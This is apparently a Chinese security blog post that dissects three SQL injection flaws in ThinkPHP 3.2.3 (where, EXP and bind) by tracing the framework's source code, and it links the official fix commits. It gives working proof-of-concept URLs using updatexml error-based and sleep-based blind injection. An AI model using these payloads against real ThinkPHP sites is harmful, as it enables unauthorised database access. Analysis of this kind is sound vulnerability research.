thinkphp3 注入漏洞
SQL where注入
配置控制器Application/Home/Controller/IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
$data = M('users')->find(I('GET.id'));
var_dump($data);
}
}
查询GET方式传入的id对应的数据
输入http://127.0.0.1/thinkphp-3.2.3/index.php?id=1
打断点简单走一遍
经过了一些初始配置之后会来到I()
函数,在前面我们已经介绍过,这是封装的一个获取输入的函数。
先进行了参数类型和请求方法的分离:
然后switch
判断请求方法
这时候把输入赋值给$data
,过滤方法如果没有定义的话就用配置文件里的默认过滤
$data = $input;
$filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
默认过滤为:
'DEFAULT_FILTER' => 'htmlspecialchars'
最后$data
还要通过think_filter()
过滤,就是匹配数据中是否具有敏感字符,其函数如下:
function think_filter(&$value)
{
// TODO 其他安全过滤
// 过滤查询特殊字符
if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
}
如果$data
匹配到敏感字符就会在数据后添加一个空格,需要注意的是,这里的特殊字符里面没有过滤BIND
接着由于TP3的链式调用我们又进入了find()
方法,继续跟进
传入find()
函数的时候参数$options
还是1'
,单引号还在
public function find($options = array())
接着判断参数是否为数字或字符串,是的话就转化为数组
这时候 $options['where']
为 where=>array('id'=>"1'")
然后判断是否存在多个主键,我们这里的主键唯一id
,不会进入
接下来经过这行代码后单引号被去除
$options = $this->_parseOptions($options);
跟进_parseOptions
函数
遍历了$options['where']
里面的值,对每个值进行
$this->_parseType($options['where'], $key);
跟进其函数$this->_parseType
为
protected function _parseType(&$data, $key)
{
if (!isset($this->options['bind'][':' . $key]) && isset($this->fields['_type'][$key])) {
$fieldType = strtolower($this->fields['_type'][$key]);
if (false !== strpos($fieldType, 'enum')) {
// 支持ENUM类型优先检测
} elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
$data[$key] = intval($data[$key]);
} elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
$data[$key] = floatval($data[$key]);
} elseif (false !== strpos($fieldType, 'bool')) {
$data[$key] = (bool) $data[$key];
}
}
}
数据库中id
对应的$fieldType
为int(11)
,所以进入
$data[$key] = intval($data[$key]);
,强制类型转换之后我们的单引号就丢失了。
接下来进入select
函数进行查询,避免了注入的问题
public function select($options = array())
{
$this->model = $options['model'];
$this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql, !empty($options['fetch_sql']) ? true : false);
return $result;
}
整个过程是id=1'
-> I()
-> find()
-> _parseOptions()
-> _parseType()
也就是我们不能进入第二个红框,突破点可以在第一个红框处
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
而恰好这里的$options
是我们可控的,紧接着其中的$options['where']
也是可控的,比如我们传入?id[where]=1
虽然这里存在对$options['where']
赋值
但因为我们传入的是数组从而不进入这个if
语句
所以在is_array($options['where'])
,这里的$options['where']
是一个字符串而不是数组,避免进入if
之后被过滤。
检测POC
检测的POC为:id[where]=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
需要注意的是,只有TP开了debug模式才会有报错,当目标站点没有开debug的时候,我们很容易会想到使用时间盲注进行检测
时间盲注POC为:id[where]=1 and (select 1 from(select sleep(2))x)
另外一个需要注意的点是,这个POC需要根据实际情况来进行修改,因为id
只是测试用的参数,使用了 M('users')->find(I('GET.id')); 进行触发,恰巧在开发者手册中TP推荐这样来获取参数所以增加了漏洞的利用性
漏洞修复
https://github.com/top-think/thinkphp/commit/9e1db19c1e455450cfebb8b573bb51ab7a1cef04
SQL EXP注入
配置控制器Application/Home/Controller/IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
$User = D('Users');
$map = array('username' => $_GET['username']);
$user = $User->where($map)->find();
var_dump($user);
}
}
传入?username=admin
打断点调试,进入where
函数
这时候的$where
是数组,并且赋值给$this->options['where']
链式调用进行find()
函数,上一个漏洞我们分析过这个函数,继续调试进入$options = $this->_parseOptions($options);
处理之后的$options
为
接着进入select()
方法
生成查询SQL语句$sql = $this->buildSelectSql($options);
跟进$this->buildSelectSql($options);
之后其中主要调用了$sql = $this->parseSql($this->selectSql, $options);
跟进parseSql()
因为我们使用了where
方法,所以会进入parseWhere
经过一些处理之后到大概586行的$whereStr .= $this->parseWhereItem($this->parseKey($key), $val);
parseKey
获取了我们的参数名
$val
就是键值参数对应的值 admin
接着进入parseWhereItem($key, $val)
,漏洞点就在这个函数里
首先检查$val
是否是数组,如果是数组的话,$val[0]
是否是字符串,如果$val[0]
为exp
,就直接将$key
和$val[1]
进行拼接
$whereStr .= $key . ' ' . $val[1];
然后返回$whereStr
所以这个漏洞利用点也是需要用数组来进行利用,整个POC就呼之欲出了
/index.php?username[0]=exp&username[1]=%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
如果没开debug的话还是也可以用盲注
/index.php?username[0]=exp&username[1]=%20and%20(select%201%20from(select%20sleep(2))x)
需要注意的是,在这个案例中我们没有使用I()
方法来获取GET参数,而是使用的
$map = array('username' => $_GET['username']);
如果换成之前的I函数获取输入,则会进入think_filter
函数
function think_filter(&$value)
{
// TODO 其他安全过滤
// 过滤查询特殊字符
if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
}
经过其处理后,会在exp
后面拼接上空格,进而无法进入
} elseif ('exp' == $exp) {
// 使用表达式
$whereStr .= $key . ' ' . $val[1];
从而无法利用
thinkphp3.2.3 bind注入
配置控制器Application/Home/Controller/IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
$User = M("Users");
$user['id'] = I('id');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
}
访问http://127.0.0.1/thinkphp-3.2.3/index.php?id[0]=bind&id[1]=test&password=aaa
访问之后发现test
前面添加了冒号
打断点进入save()
函数逻辑
逐步跟进之后在save()
函数中主要调用了update()
函数
$result = $this->db->update($data, $options);
数据库更新语句有下面主要由下面三部分拼接
主要看第二句$sql .= $this->parseWhere(!empty($options['where']) ? $options['where'] : '');
因为传入的是数组,跟进之后来到了$whereStr .= $this->parseWhereItem($this->parseKey($key), $val);
在前面提到过,这里会直接将传入的id[0]
作为$exp
,而$exp=='bind'
则会进入
} elseif ('bind' == $exp) {
// 使用表达式
$whereStr .= $key . ' = :' . $val[1];
经过该逻辑处理后数据变成了 key=:value
这样的格式,这也是为什么我们的payload输入之后会出现冒号的原因了
接下来需要寻找去除掉冒号的办法,继续跟进
现在的SQL语句是
进入execute()
方法,$this->queryStr
为即将执行的SQL语句,重点关注红框内的代码
if (!empty($this->bind)) {
$that = $this;
$this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'';}, $this->bind));
}
这里会执行两个函数,一个strst()字符串替换函数,一个使用array_map()调用的匿名函数
进入上述代码前,即将执行的SQL语句为
"UPDATE
tp3_users
SETpassword
=:0 WHEREid
= :test"
可以看到:0
是一个占位标记符,TP在此处想要做预编译的操作,而这里的匿名函数调用escapeString()
过滤bind数组,前面知道bind数组只有set语句的值,输出数组为:
strst()
将会把占位标记符转换为 $this->bind
数组中对应的值,即将语句中的:0
替换为password
的值aaa
,从而我们只要让前面POC中的id[1]
=0
,这样就能够人为拼接出一个:0
,消除冒号的影响
最终的POC为
http://127.0.0.1/thinkphp-3.2.3/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
实际执行的SQL语句为:
UPDATE
tp3_users
SETpassword
='1' WHEREid
= '1' and updatexml(1,concat(0x7e,user(),0x7e),1)
DEBUG关闭时可以使用盲注
http://127.0.0.1/thinkphp-3.2.3/index.php?id[0]=bind&id[1]=0%20and%20(select%201%20from(select%20sleep(2))x)&password=1
需要注意的是虽然我们这里用的是I()
方法获取输入但还是造成了SQL注入,原因在于I()
方法的过滤中忘记过滤bind
关键字了,所以在官方的漏洞修补中,添加了bind
关键字的过滤 https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4
参考链接:
- https://y4er.com/post/thinkphp3-vuln
- http://wjlshare.com/archives/1484
- https://www.freebuf.com/vuls/282906.html
- https://www.kancloud.cn/manual/thinkphp/
END
建了一个微信的安全交流群,欢迎添加我微信备注进群
,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 😃